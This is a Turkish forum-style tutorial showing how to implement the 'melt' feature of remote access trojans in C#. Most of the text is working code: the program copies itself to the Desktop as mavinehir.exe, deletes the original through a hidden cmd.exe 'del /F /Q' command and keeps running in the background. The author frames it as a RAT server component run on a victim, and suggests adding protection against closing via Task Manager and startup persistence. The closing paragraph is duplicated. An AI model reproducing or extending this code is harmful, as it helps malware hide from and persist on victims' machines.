Herkese hayırlı akşamlar arkadaşlar. Bildiğiniz üzere yıllardır RAT 'ların meşhur özelliği olan İngilizce melt Türkçe anlamı eritme yöntemini bilirsinizdir, bahsi geçen yöntem sayesinde server uygulaması kurbana saldırgan tarafından açtırıldıktan sonra sahte bir hata mesajı verdirilip uygulama kendini başka bir dizine kopyalar & bulunduğu dizinden kendisini silerek arka planda çalışmaya devam eder. Bunun Visual Basic 6 mantığını ele alarak C# diline uyarladım. Uygulamamızın çalışıp çalışmadığını test etmek adına Load olayına mesaj kutusu koydum. Burada vereceğim kodlar en basit & en temel halidir. Siz bu kodları geliştirip özellik eklersiniz mesela görev yöneticisi üzerinden kapatma engeli, başlangıca ekleme vs. kodlamaya başlamadan önce standart bir form oluşturun & Program.cs dosyası ile Form1.cs kütüphaneleriniz aşağıdaki şekildeki gibi olacak;
using System;using System.Collections.Generic;using System.ComponentModel;using System.Data;using System.Drawing;using System.Linq;using System.Text;using System.Diagnostics;using System.IO;using System.Runtime.InteropServices;using System.Windows.Forms;using System.Threading.Tasks;using System.Xml.Linq;using System.Threading;Daha sonra Program.cs kodlarımızı girelim. Bu kısımda Masaüstüne mavinehir.exe adında kendini kopyalıyor & komut istemi kullanarak bir önceki dizinden kendisini siliyor. Arka planda ise çalışmaya devam ediyor. Tabi ki siz burada temp klasörü gibi yerlere yazdırmanızı öneririm zira C diskinde yazma izini problemleri çıkabilir.
C#:
public static bool DrinkyMelt(string datos)
{
string appPath = AppDomain.CurrentDomain.BaseDirectory;
string exePath = Process.GetCurrentProcess().MainModule.FileName;
string exeName = Path.GetFileName(exePath);
string winDir = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
string targetPath = Path.Combine(winDir, "mavinehir.exe");
if (appPath.TrimEnd('\\') == winDir.TrimEnd('\\'))
{
if (!string.IsNullOrEmpty(exeName) && File.Exists(exePath))
{
try
{
Process.Start(new ProcessStartInfo()
{
FileName = "cmd.exe",
Arguments = $"/C timeout /T 1 & del /F /Q \"{exePath}\"",
WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = true
});
Console.WriteLine("Geçici dosya silinmesi için işlem başlatıldı.");
}
catch (Exception ex)
{
Console.WriteLine($"Dosya silme hatası: {ex.Message}");
}
}
}
else
{
try
{
if (File.Exists(targetPath))
{
File.Delete(targetPath);
}
File.Copy(exePath, targetPath, true);
Process process = Process.Start(targetPath);
if (process == null)
{
MessageBox.Show("Yeni süreç başlatılamadı.");
return false;
}
// Kendini kapatmadan önce silme işlemini başlat
Process.Start(new ProcessStartInfo()
{
FileName = "cmd.exe",
Arguments = $"/C timeout /T 1 & del /F /Q \"{exePath}\"",
WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = true
});
Environment.Exit(0);
}
catch (Exception ex)
{
Console.WriteLine($"Dosya kopyalama hatası: {ex.Message}");
return false;
}
}
return true;
}
[STAThread]
static void Main(string[] args)
{
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
string commandLine = args.Length > 0 ? string.Join(" ", args) : "";
bool shouldContinue = DrinkyMelt(commandLine);
if (shouldContinue)
{
Application.Run(new Form1());
}
}
Kodlarımızı girdikten sonra derleyelim bakalım Bin klasörü içerisindeki gözle görülen farklar nedir?
[ GÖRSEL GÖSTERİM ]
Görüldüğü üzere derlenmiş melt.exe uygulaması henüz tıklanmadı ama tıklayalım bakalım neler olacak...
Evet Form1 GUI 'si açıldı ardından Debug klasöründen kendini silerek masaüstüne kendini kopyaladı. Ayrıca arka planda ikinci bir çalışan melt.exe şeklinde bir program yok zaten öyle olsa hata verirdi.
Görüldüğü üzere derlenmiş melt.exe uygulaması henüz tıklanmadı ama tıklayalım bakalım neler olacak...
Evet Form1 GUI 'si açıldı ardından Debug klasöründen kendini silerek masaüstüne kendini kopyaladı. Ayrıca arka planda ikinci bir çalışan melt.exe şeklinde bir program yok zaten öyle olsa hata verirdi.


